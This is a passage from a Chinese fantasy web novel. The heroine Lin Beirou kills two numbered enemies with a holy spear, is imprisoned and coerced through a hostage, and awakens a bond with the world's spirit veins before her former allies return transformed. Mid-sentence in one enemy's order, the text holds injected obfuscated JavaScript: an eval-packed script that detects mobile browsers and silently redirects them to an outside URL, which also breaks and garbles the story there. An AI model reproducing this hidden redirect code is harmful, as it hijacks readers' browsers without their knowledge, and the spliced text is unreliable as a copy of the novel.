说完,他似乎不太在意司空晏的回答。林北柔忽然意识到,三号的实际年龄可能和司空晏一样,非常漫长。 三号彬彬有礼地说:“既然是你自己的选择,我就不客气了,杀了你,我就带走四号。” 司空晏勾起嘴角,眼睛里一片虚无:“欢迎找死。” 三号朝司空晏袭了过来,司空晏站着没动,下一秒,他们同时消失在了空气中。 林北柔终于找到了手动模式,切换了回去,卡车一个急转弯,却只能看见空地,看不见司空晏了。 林北柔呆了几秒,果断把车往回开,一直朝荀照乘和新垣鑫的方向开过去。 之前的车流分散开,朝深禁区进发,浅禁区磁场很乱,接下去不知道还会遭遇什么奇怪的存在,所有人都在争分夺秒,突然间,事故爆发了。 “……呃啊啊啊!!!好痛!这是什么!”有人捂住后颈大喊,弓下腰,一车人相继爆发了同样情况,车子七扭八拐了一长段,不得不紧急停下。 众人打开车门跑了下来,跪在地上大吐特吐,被头疼和后脖子强烈的异物感侵袭。 “是刚才的瘴气,那个瘴气和巨影……不对劲……”领队以为是什么奇怪的感染,先给自己打了一管针剂,却无法阻止那种热痛,他拉过队员,扒开对方衣领检查,发现对方后脖子上鼓起一块包,形成一个腺体样的突起。 领队想到了什么,脸色变了,踉踉跄跄过去查看其他队员,发现都是一样,他自己也是,他向后伸手摸到了那个鼓包,敏感刺痛的感觉像电流一样传遍全身,疼得他跪倒在地上,吃力地打滚。 他凭借意志力冲回车上,颤抖着手抓出了一本厚厚的白皮书,上面写着禁区指南四个字,狂乱地翻找着。 “岐海巨影,不明存在,创世纪前众生之一,带白色瘴气,散播虚空孢子,可进入元神,改变元神弦振,进化为元初二型,于后脖颈长出腺体,腺体有发热型和安抚型之分,暂定义为雌雄之分。” “腺体型不受本体生理性别影响,是随机产生,雄型腺体会产生发热期,需要雌型腺体安抚,若不及时进行安抚,则会进入狂乱迷失状态,身体发烧,轻者陷入昏迷,严重者可致死。” “腺体会散发信息素,特定信息素之间会相互吸引,不同雄型宜寻找高度契合的对应雌型,如契合度较差,则安抚效果大打折扣,一个雌型可以对应一到多个雄型,形成群体安抚,雌型腺体也会进入发热期,雄型腺体可以对其进行安抚,在发热期,本体的思考能力和理性趋近于无,欲望和冲动会占第一优先位。” “安抚类型和阶段分类复杂,分为精神连接和身体连接,可分别进行,也可同时进行,强大的安抚型可无限倍增幅发热型的作战力,是珍贵的可持续性战斗资源。” 领队意识到了,他们这是进入了第一次发热期,如果不快点,可能会造成大面积伤亡。 原本不同势力之间还打算展开猎杀,一场大逃杀在所难免,现在全都被打乱了。 目之所及,所有在疾驰的车都停了下来,人们意识到了这场元神变革,确认了自己的型号后,全部在慌乱地寻找和自己匹配的型号,安抚型修行者不论是男女,全都被当成大熊猫围在中间,由小队成员自发组织自救,立即就地进行元神连接,开始安抚。 林北柔对这场影响人类深远的事件一点不知道,只顾开着车回到了荀照乘和新垣鑫所在地方。 “荀少校——新垣少校——” 林北柔看到前方出现了一个高达几十米的空间裂隙,这是某种场域入口,修行者可开辟属于自己的场域,在场域中将实力发挥到极致。 林北柔明白,一定是七号和九号开启了场域,而荀照乘和新垣鑫就在里面,凶多吉少。 林北柔停下车,甩上车门,带上了能带的法器,想也不想,就冲进了场域。 87. 第 87 章 林北柔掉进去之后,立即开始飞速下坠,下面是一片暗红大地,天空比之前暗得多。 之前荀照乘跟她科普过,这里是中禁区,比浅禁区更危险。 七号和九号撕开了空间裂隙,直接通往了中禁区。 七号和九号贯彻的是三号的意志,假如三号部分猜到了司空晏的身份,他肯定会怀疑荀照乘和新垣鑫。 三号一定会让七号和九号杀了他们。 林北柔皱着眉,非常焦急,连恐高症都忘记了,一门心思维持平衡,看向大地。 林北柔立刻感觉到了灵力乱流,还有混乱的灵压力场。 如果说浅禁区是沙滩,那中禁区就正式涉入海中,有着空气和水的本质区别。 充沛的灵力充满了天空和大地,就像回到了胜身洲一样。 一股灵力在林北柔元神爆发,争先恐后释放出来,流遍四肢百骸,每一根头发丝都充盈了。 头发变得更长,肌肤变得细腻,骨头开始生长痛,视力敏锐得像鹰隼一样,就像鱼终于回到了大海,鸟终于回到了天空。 林北柔看到大地上一片飞尘四起,几个人混战在一起,她一眼看到了荀照乘和新垣鑫。 他们受了很重的伤。 林北柔心脏一紧,运转修为,提气减缓降落速度,用修士御空而行的方式,降落在了战场,想也没想就对上了正在进攻的两个身影。 雷电和金属的光交织而来,林北柔运起修为硬扛了一下,受到了强大的冲击,脑子顿时发晕。 “林北柔——” 新垣鑫混合了极度担心的吼声传来,林北柔感觉到她落入一个宽阔的怀抱,被人带着后撤。 林北柔睁开眼,她撤到了一个结界后方,两边是新垣鑫和荀照乘,他们镇守着结界,用法器远程攻击七号和九号,七号和九号也受了不轻的伤,他们的血条明显更厚,照这个速度下去,死的肯定是荀照乘和新垣鑫。 荀照乘和新垣鑫两个高阶修行者能拖住两个正式编号者这么久,已经是奇迹。 要不是他们两个本体都是司空晏,早就死无葬身之地了。 “四号,你是来找死的吗?”七号说话了,他说的不是中文,林北柔还是听懂了。 荀照乘按住林北柔肩膀:“一号不是在保护你吗,你怎么一个人过来了?” 他受伤最重,呼吸很困难,勉强维持着清醒的意识。 林北柔:“他和三号消失了,掉进其他空间了,我来找你们了。” 荀照乘眉头紧皱:“这个结界支撑不了太久了,你马上出去。” 林北柔:“不行,那你们呢?” 荀照乘:“我们还有最后的手段。” 林北柔听懂了,他是指他们可以和七号九号同归于尽。 林北柔:“不行。” 说完她直接按住了荀照乘脖子上的一处穴位,荀照乘眼前一黑,失去了意识。 林北柔抱住荀照乘倒下的身躯,把他放到地上。 “你不能出去!”新垣鑫死死拉着林北柔,不让她出去,林北柔看得出来,他元神里的修为支撑不过一分钟了。 林北柔严肃地说:“放手,新垣少校,我不需要你的保护。” 新垣鑫被她的眼神震了下,林北柔平时是个很好说话的人,不熟悉她的人会觉得她很软很随和,她刚才的眼神和平时完全不一样。 稳定,冰凉,没有商量余地。 林北柔不知道自己无意间流露出了三百多年潜移默化的气场,她趁新垣鑫怔忡,迅速脱离了他的掌控,顺便用灵力将他锁在了原地。 七号和九号再度发动了攻击,他们的攻击都是疯狂而不要命的,镇守结界终于碎了。 林北柔提气掠了出去。 七号和九号的攻击落在了她身上,林北柔硬扛了三下,感觉快不行了。 她不能让新垣鑫和荀照乘死。 司空晏没有修为,不知道他要怎么对抗三号,一旦元神再受重伤,就完了。 她抬起头看向天空。 七号和九号速度太快了,她刚才没有看清,现在他们悬停在半空,高高在上,让她看清了他们。 他们穿着黑色无袖长袍,脖子上戴着黄金项链,三角形和眼睛状装饰,同样的面具遮住了他们上半张脸,看不见眼睛,他们的皮肤涂满了一层防瘴气的黑色符文。 黑色云气在他们身后组成一双巨大的羽翼,他们手中分别拿着一把看上去很重的长剑。 七号周身环绕着纤细的雷电,九号身上则有一层金属光晕,那是他们的天赋。 雷电经过金属增幅,每一下落在林北柔身上都很痛。 林北柔必须离他们足够近,才能用灵力看清他们全身,找到弱点。 林北柔放风筝一样溜了他们一会儿。 周旋了一会儿,七号和九号果然不耐烦了。 “她没有和灵脉共鸣,杀了她。”七号对九号说。 他们朝林北柔俯冲下来,举起长剑。 林北柔再次抬手格挡,眯起眼睛寻找他们身上的薄弱点。 两把长剑交叉落下,雷电和金属交织的光网压了下来,林北柔无法逃脱,她还需要一秒就看清了,那样她也会身受重伤—— 剑光落在了林北柔手上,林北柔看清了,也做好了失去一条手臂的准备。 手上一缕银白流光闪过。 外骨骼半手套刹那分解,星雾笼罩了林北柔全身。 七号和九号想要抽身撤退已经来不及了,林北柔伸出一只手抓住了剑身,秘银护甲手套无视了雷电和金属,将剑上的冲击波反噬给了他们。 七号和九号倒飞了出去,林北柔紧随其后,她全身多了一层战斗护甲,头上戴着遮面头盔,头盔上刻有荆棘,黑色长发从头盔后丝丝缕缕飘到后方。 “你怎么会有二号的圣物!”七号恐惧地喊道,瞬间拉开了和林北柔的距离。 九号翻滚了好一会儿才稳住身形,看向林北柔,看到了她身后的六翼大天使法相。 林北柔凭感觉伸出手,握住了什么东西,从虚空中缓缓抽出一把长得不行的长矛,这把武器比她整个人还长很多,她拿起来却完全没有感觉到需要用力。 她身后的虚空大天使羽翼完全展开,闭着的眉眼间依稀有五十年前二号生前的神采。 林北柔不敢回头去看大天使的闭眼法相,直觉提醒她不要回头,向前战斗即可。 “是命运圣矛!”七号全身微微颤抖,蹲伏下来。 “她没有和灵脉共鸣,擅自使用二号的圣物,她元神很快会被抽干!在她投掷之前杀了她!”九号提醒七号。 七号勉强控制住自己敬拜圣物的冲动,定了定神,放弃了防御,和九号一起拔剑,发动了第二轮进攻。 剑刃交叉并在一起,爆发出一波凶猛的金属雷电,朝林北柔席卷过去。 林北柔感觉元神修为疯狂流失,这是一件被创造本源开光过的圣物,是最高等级的先天法宝之一,对元神池的抽取都像鲸吸一样,编号者需要和灵脉共鸣,才能通过灵脉支取灵力和修为,供他们使用这些法宝。 林北柔没有想别的,凭本能将长矛投了出去。 七号和九号的雷电先击中了林北柔,林北柔修为被抽空,倒了下去,朝地面坠落。 长矛划出抛物线,末端击中了七号身上最薄弱的一点,七号身上结界破碎,长矛穿透了七号的身体,然后穿过了他身后的九号。 七号和九号当场死亡。 编号者陨落后,会爆发冲击波,形同龙卷风,破坏力极强,林北柔用了最后一点力气,控制住长矛回旋,让它落在新垣鑫和荀照乘的方向,张开了结界,旋即意识沉入黑暗。 “……四号醒了吗?” “还没有。” “她身上有二号的以西结圣盔甲,暂时没办法剥离,否则会反噬到我们。” “命运圣矛呢?” “不见了,荀照乘和新垣鑫也不见了。” “七号和九号?” “尸体和元神都灰飞烟灭,四号居然能发动命运圣矛,一举杀死两个编号者,堪比巅峰期的二号,考虑到四号甚至还没有和灵脉共鸣,放任她发展下去,会非常危险。” “驿路会损失了两个编号者,还剩一个三号,他和一号都从监测上消失了。” “现在驿路会和我们是一边的,七号和九号死了,对我们也很不利,驿路会派出了一支部队,正在和我们的部队汇合,优先寻找命运圣矛,有了圣矛,我们在深禁区就能占据先机。” “找不到也没关系,无量印在我们这边。” “庞典铎那个女人城府太深,跟孙和铃早就联合在了一起,假痴不癫,一个在北落师门,一个在太微垣,故意让内务公开暴露,我们才失去了警惕,多了很多不必要的损失……” “他们放任一号和四号自由行动,打乱了我们的节奏,不过他们没想到现在我们捡到了四号。” “不止四号,五号我们也抓住了。” 林北柔的身体和意识好像分离了,她的意识看见两个陌生的中年人在交谈。 他们是组织里和庞将军、孙和铃那些人对立的一派。 他们和三号所在势力联合了? 她的身体躺在一个石台上,旁边放着很多奇怪的工具,看着挺吓人,好像是用来尝试打开她盔甲的。 这些工具出现了不同程度的损坏,她的盔甲一点刮擦痕迹都没有。 林北柔意识再度沉入黑暗,再醒来时,发现她身处一个囚室。 她被锁在一张特制的椅子上,椅子焊在地上,无法移动。 林北柔抬起眼睛,囚室的门打开了,走进来两个人,都是她认识的。 莫衡,谢轻眠。 林北柔微微睁大眼睛。 她记得这两个人都被关押起来了,看他们背后的势力,这会出现在这里也不奇怪。 莫衡和谢轻眠看起来和在基地不一样了,感觉有种回到了他们本来面目的样子,神态冷漠了很多,虽然本来也没热情到哪里去。 他们看上去彻底像是另外一个阵营的人。 莫衡先开了口:“林北柔,一号在哪里?” 林北柔没有回答。 谢轻眠在旁边无动于衷,拿出一座铃铛状法器,林北柔想起来了,这是向光山的法宝魇铃,能让人进入循环无限的梦魇,还能让人看到其他堕坏的平行世界,把人困在过去,夺走未来的希望,让人精神崩溃。 谢轻眠:“你不说的话,我们就只能动手了。” 林北柔总算开了口:“所以,你们两个早就是叛徒了?” 谢轻眠眉头掠过一丝戾气,轻蔑地说:“你这样的普通人什么都不知道,别妄加评论。” 林北柔困惑地说:“跟编号者比起来,好像你更普通吧。” 谢轻眠气结,莫衡在一旁举手示意她安静。 莫衡:“不管你怎么想,我们的出发点是全人类共同的利益,只是灾难来临的时候,方舟上的位置是有限的,我们必须决定谁能上船,否则一个都救不了。” 林北柔没说话,她懒得听这些。 莫衡调转了话题:“你真的不打算合作的话,我们也只有用强硬的手段了。” 林北柔不搭理他。 莫衡朝谢轻眠点点头,谢轻眠祭出了魇铃。 林北柔经历过魇铃的威力,她那次差点精神崩溃了,这次她做好了心理准备。 魇铃飘浮到空中,慢慢旋转,空中出现金色密咒,奇异的声音进入了林北柔耳中。 林北柔身上的以西结圣盔甲突然亮起星辉,金色密咒落在星辉近处就消失了,声音也大幅度减弱,变得无关痛痒,听起来像蜜蜂嗡嗡。 林北柔:“……” 谢轻眠:“……” 林北柔差点在头盔里笑出声,看到谢轻眠扭曲的表情,她竭力忍住笑场的冲动。 莫衡冷静地说:“二号的圣物等级很高。” 他示意谢轻眠退下,谢轻眠深吸口气,退到了一旁。 莫衡摸了摸下巴:“二号的圣物能主动接纳你,是我没想到的,你确实有点本事,怪不得灵脉把四号的天赋给了你。” 林北柔不动声色地感受着元神内的波动,她之前使用了命运圣矛,杀死了七号和九号,把元神池给抽干了。 现在元神池在缓慢恢复,修为还是非常稀薄,不足以让她发动攻击。 莫衡:“不过,你应该不会忍心让你的亲人,因为你的固执受到折磨吧?” 林北柔心脏重重一跳。 他身后的门打开,两个人押着一个蒙着头拷着手的人进来了,其中一个摘掉了那人的头罩。 林北柔看到了周阆屿,他看上去昏昏沉沉,几乎站不住,必须要左右两边的看押人员支撑。 林北柔骤然绷紧了脊背,锁链被她拉动,当啷作响。 林北柔:“你们对他做了什么?!” 谢轻眠见林北柔终于有了反应,顺心地笑了一声:“周师兄为了找你,脱离了他所在的组,被我们俘获了,不过看在曾经同门的份上,我们暂时没有伤害他,如果你再不配合,事情就不一定了。” 林北柔盯着谢轻眠和莫衡。 一股怒火在她胸口点燃,像淬毒的火焰逐渐蔓延,杀意油然而起。 林北柔慢慢地说:“你在撒谎,周阆屿不会冲动行事,是你用了什么卑鄙伎俩吧,他是被周家收养,在向光山拜师的,周家你够不到,你是从他老师耿江渡那边下手了?” 谢轻眠没有想到林北柔会这么了解周阆屿,每句话都猜中了,她脸色轻微扭曲,这些事实从林北柔嘴里说出来,不知道为什么多了一层羞辱意味,好像她的人格被贬低了。 她确实遵照她师傅梁巍英的指示,绑架了周阆屿的上司和恩师耿江渡。 梁巍英和耿江渡虽然是师姐妹,理念却早已背道而驰。 谢轻眠无法容忍林北柔一个平凡人出身背景的人,用那样的眼神看着自己。 她比林北柔和周阆屿都要优越,她的血脉更纯粹,她才是应该掌握编号者权柄的那个人。 谢轻眠冷笑道:“你懂什么,向光山一开始就是为了掌控灵脉存在的,弱者无法掌控灵脉,强者自然上位,物竞天择,是自然之道。” 林北柔:“不是我的道。” 莫衡抽出了自己的本命法器,把剑刃横在了周阆屿脖子上:“真的不考虑吗。” 林北柔:“我不知道一号在哪里,我怎么告诉你?你起码也要问我知道的事吧?” 莫衡:“好,那就请你脱掉盔甲,亲自走出来。” 林北柔眼看他的剑刃在周阆屿脖子上压深了几毫米,划出一道细细的血线。 林北柔:“你得先给我松绑,我才能解开盔甲。” 莫衡吹了声口哨,另外一个人出现,上前解开了林北柔的锁链,莫衡身后出现了一排四个全副武装的军士,都端着法器瞄准林北柔。 林北柔看到了他们的臂章,他们不是庞将军和郭将军的人,应该是那个刘将军的人。 基地果然已经分裂了。 周阆屿挣扎着撑开眼睛,他意识终于恢复了三分清醒。 “……不要出来,”他困难地对林北柔说,“他们想夺取你的天赋,三号告诉他们的,逆十字仪式……” 林北柔看到他手腕和脖子上都戴着一种限制修为的环状装置。 莫衡听了笑了起来,到这时,他终于露出了一直以来藏起的情绪:“周阆屿,好心提醒你,我本来才是四号候选,是魏瑕设计了我,我才失去了天赋,后来,天赋降临到了你的身上,林北柔。” 这时,外面突然有人进来,告诉了莫衡一个消息。 “确认荀照乘和新垣鑫死亡,掉进了瘴气坑,没有尸体,发现了残损衣料,还有少量DNA。” “命运圣矛自行挣脱了,在周围活动,上面派人去回收了。” 林北柔脸上血色褪去。 荀照乘和新垣鑫当时受了重伤,没有外界保护,死亡概率很高。 她没有想到这件事会发生得这么快。 像做梦一样不真实,她只感觉到冲击,其他感觉似乎变钝了,没有悲伤和疼痛,身体的自我保护机制在切断她的情绪。 莫衡看向林北柔:“真遗憾,你的保卫者因为你牺牲了。” 林北柔心脏像被狠狠剐了一刀。痛觉争先恐后回流。 周阆屿笑了起来,比他笑得还畅快,林北柔从来没听周阆屿这么笑过,她怔怔地看着周阆屿。 莫衡:“你笑什么?” 周阆屿的眼神落在了莫衡脸上,好像在看一个小丑。 周阆屿慢条斯理地说:“你就没想过,为什么魏瑕会设计你吗?” 莫衡面无表情看着他。 周阆屿恶意十足地盯着他:“你的家族,一开始就造了大孽,他们算出了四号的天赋会落在谁身上,然后用几十年时间布置了一个改命换运的阵法矩阵,误导了天道,让你成为了四号候选。” 莫衡瞳孔骤缩,全身仿佛瞬间绷紧。 周阆屿悠悠然看着他,十分愉快地说:“你许家之所以迅速衰败,就是因为造了这样的大孽,背负了这样逆天而为的罪行,你的父亲和妹妹意外死亡,其实不是意外,是果报的一环,你小时候遭遇的那些苦,也是因为你们家族不干人事,导致我和林北柔从出生起就骨肉分离。” “要不是魏瑕一直让人盯着我和林北柔,我们早就被你们家那些恶心的老怪物暗杀了。” “我们本来该是双生编号者,一旦从小就进行契合训练,就会成为灵脉支配者,有我们和一号在,太微垣甚至都不会内斗,而现在,因为你们的罪孽,外面不太平,内部也彻底分裂。” 莫衡呼吸急促,胸口深深起伏,周阆屿每一句话每一个字都对他造成了相当大的冲击。 林北柔突然意识到,周阆屿是在激怒莫衡。 莫衡可能知道他的意图,那不重要,周阆屿说的秘密让他猝不及防挨了好几下,反应不过来。 他以为他才是那个受害者,他才是理所当然的天择之子。 周阆屿却打破了他一直以来的心理平衡。 周阆屿:“魏瑕只不过是在拨乱反正,你有什么恨他的理由?你,从来都不是四号候选。” 周阆屿:“你觉得荀照乘和新垣鑫死了,你很幸灾乐祸?你真可怜。” 莫衡脸上一条肌肉抽搐了下,他的手握紧了剑柄。 林北柔在他要一剑割了周阆屿喉咙之前,提起喊道:“你不是想要盔甲吗!” 莫衡情绪还在激荡,听到了林北柔的声音,转了过去。 林北柔身上的盔甲发出嵌合解体声,逐渐露出她身体,还原成她手上的外骨骼链状手套。 林北柔摘下手套,递了出去。 一个军士慢慢上前,小心翼翼确认了林北柔身上并无修为,然后接过手套,转身递给莫衡。 莫衡稍微放下剑刃,伸手接过。 谢轻眠突然发现了不对劲,刚要提醒,已经晚了。 手套倏然偏了个方向,化作星雾,刹那覆盖在周阆屿手上,周阆屿脖子和手腕上的禁锢环粉碎成尘,秘银色盔甲在他身上重现,将他整个人包裹起来,周阆屿抬手就把押守他的人揍飞了出去,夺过了莫衡的剑。 莫衡扑上去和周阆屿打在了一起,其他军士全部围攻周阆屿,周阆屿吸引了绝大部分火力。 谢轻眠袭向没有保护的林北柔。 林北柔刚才用稀薄的修为,让手套自主去了周阆屿那边,推测她和周阆屿是双生子,手套接受了她,也会接受周阆屿,万幸她赌对了。 现在谢轻眠攻击她,林北柔锁链被解开,往旁边一扑,谢轻眠预判了她的动作,冷笑着扔出魇铃。 林北柔没有防护,结结实实被魇铃砸中了。 她脑袋一晕,无数恐怖应激的幻视幻听,在脑海里爆发开来。 各种黏糊恶心、畸形增生,内脏血肉,各种虫子节肢,还有无数被扭曲了的记忆,密密麻麻,铺天盖地,全是她最害怕的东西,她的大脑能制造出的恐怖是无极限的。 林北柔捂住耳朵,闭上眼睛尖叫起来,完全进入了应激状态。 周阆屿震开了所有人,抢过一把法器,双手握持狠狠插在地上,结界从支点扩散开,覆盖到了林北柔。 魇铃表面出现了碎裂。 幻视幻听瞬间消退,林北柔却没有恢复神智,她的元神仿佛被激活了某种东西,进入了一种沉浸境界,外界无法唤醒。 “林北柔!——”周阆屿扑过来抱起林北柔,检查她的情况。 林北柔身体慢慢浮空。 其他人被周阆屿的结界压制,结界被圣盔甲增强,每个人都无法动弹,只能趴在地上看着,房间里像是有飓风形成。 周阆屿叫不醒林北柔,林北柔闭着眼睛,好像睡着了。 魇铃突然彻底爆开,碎成几十片,谢轻眠吐出了一口血。 林北柔意识中的世界将所有人包裹,那些军士陷入了无梦的黑夜一般的沉睡,莫衡和谢轻眠直接被拉入梦魇。 他们置身于林北柔大脑能制造出的无限恐怖宇宙。 血脉相连,发生了奇异的对接,他们家族里那些参与了改天换命计划的人,不管此时此地在做什么,全部被拉入了同一个恐怖混沌世界。 这是人的想象力能创造出的最诡异奇特的地狱。 一旦进入,精神必遭重创,能不能醒来都不一定。 周阆屿抱起林北柔,手按在她眉心,想要唤醒她,没有用,他想把盔甲转移到林北柔身上,盔甲仿佛是感应到了林北柔身上的变化,没有反应,不肯移动。 林北柔突然睁开了眼睛,半闭半合,并没有清醒。 周阆屿呼吸一窒,她的虹膜变成了蓝紫色,里面有亿万无穷星河流转,瞳孔像最古老无光的黑洞。 就连周阆屿心脏也颤抖了一下,感觉他注视的不是林北柔本人,是另外一个陌生的存在。 林北柔的元神发出一缕细微的震荡,就像飓风前蝴蝶的轻微振翅。 周阆屿听到了大地震荡,灵脉发出的共鸣传递到了他的元神中,外面天空亮起极光,大地发出轰鸣。 林北柔在禁区和灵脉发生了共鸣,周阆屿抱起她冲了出去,外面的看守全昏死了,周阆屿找回了自己的通讯器,通知了大部队。 莫衡所在的势力感知到了这股共鸣,高层下达了处死令,四面八方都是高阶修行者,还有重型装置,将他们包围了,对方也有相当厉害的圣物和法宝,一秒也不耽误就朝他们轰过来了。 周阆屿支起了结界,暂时无恙,不知道能支撑多久。 “杀了四号,还有五号,不用留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506778|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活口了,除非愿意投降。”对面高层冷酷地说。 周阆屿算了算时间,救援赶来可能来不及。 更糟糕的是,周阆屿发现了林北柔心脏上方的天道契约印记,那个印记一直在发光,好像在抽吸林北柔的生命力,不管他怎么做,都没法消除印记。 周阆屿尝试着把圣盔甲还给林北柔,这一次成功了。 盔甲回到了林北柔身上,罩住了她,印记光芒变弱。 “用无量印放出污染,攻击他们。”高层下令。 “可是,无量印还不太稳定……”其他人犹豫。 “五号结界太强悍了,不出动无量印,破坏不了他的结界。” 对面推出了一个可移动的祭坛,坛上供奉着真正的不周山无量印。 周阆屿看到无量印,瞳孔一缩,无量印加上其他圣物一起攻击,支撑时间会大大缩短。 无量印释放出纯度最高的污染,像浓云一样喷在了周阆屿的结界上,周阆屿元神泛起针刺一样的疼痛。 没有圣盔甲保护,结界开始飞速变薄。 不行了,周阆屿眼前阵阵发黑。 汲取了全世界灵脉污染的无量印,比他想的还要恐怖,这种纯度的污染,是天灾级别。 结界终于破碎,周阆屿本能挡在林北柔面前,想用肉·身再拖延一会儿时间。 一缕污染碰到了周阆屿的肩膀,周阆屿闷哼,肩膀顿时被血染红。 光拖着流星尾焰闪过,划出肉眼无法捕捉的痕迹。 命运圣矛深深扎进大地,瞬间绘制出奇异阵法,将污染全部逼退。 原本浓厚的污染像被大量清水稀释的墨水一样,飞快消散。 “是二号的圣物!把圣矛抢过来!”高层下令了。 高阶修行者涌了上去,圣矛却嗡地一下高速振动,从地上抽了出来,在人群中飞速疾驰,所过之处,但凡沾边的,全被当场切成几截,血流成河,在暗红的大地上看不出来。 “有人在操控圣矛……”高层的副手紧张地说。 “看到了!在那边!” 不远处烟尘散开,走出一个高大身影。 周阆屿还以为是魏瑕,下一秒看到了另一个身形几乎一样的身影。 “荀照乘,新垣鑫?”周阆屿疑惑皱眉。 刚才那些人不是说他们死了? 这些情报是不可能被误判的,掉下瘴气坑,不管是什么活物,身体都会被溶解掉。 荀照乘和新垣鑫看起来却和常人无异,没有缺胳膊少腿。 天幕极光纵掠,大地震颤嗡鸣,好像有无数头鲲鹏和巨鲸在歌唱,灵脉全部被激活了,一切围绕林北柔而进行。 周阆屿的元神也随之共鸣,心神俱颤,一种前所未有的恐惧和兴奋升起,他被林北柔的天赋影响了。 荀照乘依然穿着作战服,衣服上却染了浓重的血腥味,他凭空操纵着圣矛,如入无人之境,像驱赶蚁群一样驱赶对面军队。 圣矛是编号者才能操纵的圣物,而且是和灵脉共鸣才能做到持续使用,荀照乘把圣矛的威力发挥到这种程度,自己却没有半点负担。 新垣鑫则是一步一步走到了周阆屿面前,低头,蹲下来,望着林北柔。 “给我。”他嗓音嘶哑,像烟熏火燎过。 周阆屿看着他,新垣鑫戴着头罩,护目镜不见了,露出一双黑珀一样的眼睛。 周阆屿愣怔之间,新垣鑫抱过了林北柔,伸出指腹,按在她眉心。 他比出了复杂的指诀,很快,显然是重复了无数遍才有的肌肉记忆。 周阆屿认出这些指诀比现存任何一派修习的指诀都更加古老。 周阆屿记得新垣鑫是按照内修的路子培养的军士,他没有途径接触到这些。 林北柔眼睛里的蓝紫色幻光渐渐熄灭,断开了和周围灵脉的共鸣,她闭上眼睛,重新昏了过去。 新垣鑫随便在她手上抹了下,圣盔甲变回了手套,随新垣鑫的意志,重新回到了周阆屿身上,周阆屿再度成为了银铠骑士。 周阆屿无法理解眼前发生的一切。 周阆屿紧蹙眉头:“你们怎么会——” 荀照乘用圣矛杀死了大部分人,对面紧急撤退。 荀照乘走了过来,一手拿着圣矛,一手端着不周山无量印。 周阆屿:“……” 荀照乘把圣矛递给了周阆屿,声音和新垣鑫一样低哑:“拿好,去找你们的人,追杀他们的主要盟军,凡是站在他们那边的,不管是谁,全部杀了。” 周阆屿接过了圣矛,盔甲自动将圣矛缩小,装置到臂甲上。 无量印散发着黑色光晕,像一枚黑色的古币,缓缓旋转,被荀照乘拿在了手中。 周阆屿盯着无量印,有些没反应过来,荀照乘为什么也能使用无量印? 他记得无量印只有魏瑕才能用, 新垣鑫将林北柔抱了起来,荀照乘走过去查看林北柔的情况。 周阆屿忽然产生了一种错觉,仿佛眼前其实是一个人,而有两个同步性很高的躯壳。 周阆屿:“他们说你们掉进了瘴气坑。” 新垣鑫:“我们攀在了断崖上,找到了个洞口,然后爬上来了。” 解释很合理,他们能做到这种常规修行者做不到的事,周阆屿接受了,只隐隐约约觉得哪里有一点不对劲。 他正皱眉思考,后脖颈一阵热痛,闷哼出声,抬手捂住后脖颈。 荀照乘:“你是发热型,必须找到适配的安抚型进行精神连接。” 周阆屿摆手:“他们把安抚型集中起来了,我回去接受公共治疗就行,回去后我会做手术把这个东西取出来。” 荀照乘:“这个东西会让修行者的能力成倍增长,你确定要取?” 周阆屿更关心其他的:“我不需要,你们要带林北柔去哪?” 荀照乘:“消除她身上的天道契约。” 周阆屿没有阻拦他们,点了点头:“照顾好她。” 周阆屿得到了圣盔甲和命运圣矛,自知责任重大,就算心里有再多疑惑,也只能以大局为重,看着荀照乘和新垣鑫把林北柔带走了。 从魏瑕那里得知了莫衡背后的家族,一开始就是导致自己和林北柔从小分开的元凶,周阆屿眼里暗了下来。 他现在要把那些势力全部拔掉。 林北柔感觉自己在虚空中,一个存在在看着她,她好像灵魂都成了透明的。 甲方开口说:“记住,找到太初灵核,激活它,重启现世的灵脉,这是你未完成的契约,如果毁约,你会失去一切。” 林北柔睁开眼,发现自己趴在一个宽阔的背上,对方手臂非常结实,锁住了她的大腿根,形成一个凳子一样的支撑,她趴在他背上可以完全放松而不用绷紧身体。 熟悉的气息,冰凉的松间雪和灵木炭灰香味,还有胜身洲特有腊梅的气息,比凡间的腊梅更加清幽好闻。 只不过对方衣服是作战服,还沾了很多干掉的血,这些让人上瘾的气息中混入了一丝不详的铁锈味。 斜前方走着另外一个同样高大的身影,光看背影就像同一个人,林北柔只能从侧面的轮廓认出是新垣鑫。 所以背着她的人是荀照乘。 林北柔突然完全清醒了。 之前那个梦里,她被司空晏用波刃切刀分离了元神和身体,同时也和灵脉共鸣了。 而刚刚她在囚室里,被魇铃砸了一下,受到了刺激,再度和灵脉共鸣。 那个梦不是梦,是真的发生过。 怪不得那个梦之后她醒来却发现自己回到了几个小时之前。 司空晏溯洄了时间,抹消了痕迹,在元神上施行的“手术”,会同步到过去的时间上? 一切只为了让她和灵脉共鸣,她现在的元神和身体,处于一种奇异的可分可合的状态。 司空晏没有了修为,他为了这一步棋,元神池被抽干了。 林北柔抬起头,稍微动了动:“我们要找到司……我们要找到魏瑕!” 荀照乘头也不回,手臂像铁箍一样固定住她,声音不咸不淡:“他已经死了,现在我才是司空晏。” 林北柔僵硬住了,嘴巴张开,却没发出声音。 斜前方,新垣鑫回头看了她一眼,眼神和之前完全不同,林北柔和他目光一接触,就打了个寒颤。 他看着她的样子,就像荀照乘手臂将她锁在自己背上,没有动摇,只有浑然天成的占有欲。 新垣鑫沙哑开口:“你只是那个兵修罢了,司空晏不是他自己后来改的名字吗?这么说,我才是司空晏,他把最初的元灵放在了我身上,你和他的元灵,都是后来重新炼化过的。” 他的语气和以前一样粗率直接,没有变化,内容却让林北柔彻底窒息,脑子咣当咣当的。 新垣鑫恢复了记忆,他的元神觉醒了,他是新垣鑫,也是司空晏,也是过去那个和她相遇的武修。 荀照乘也一样。 林北柔看向周围,环境彻底变了,地上出现了冰霜,天上飘下了雪,雪花落在荀照乘衣服上,是晶莹的六棱体,乍看平淡无奇,中心处有个奇异的对称形状,是现世的各种雪花没有的。 禁区的雪花,和胜身洲的雪花一样。 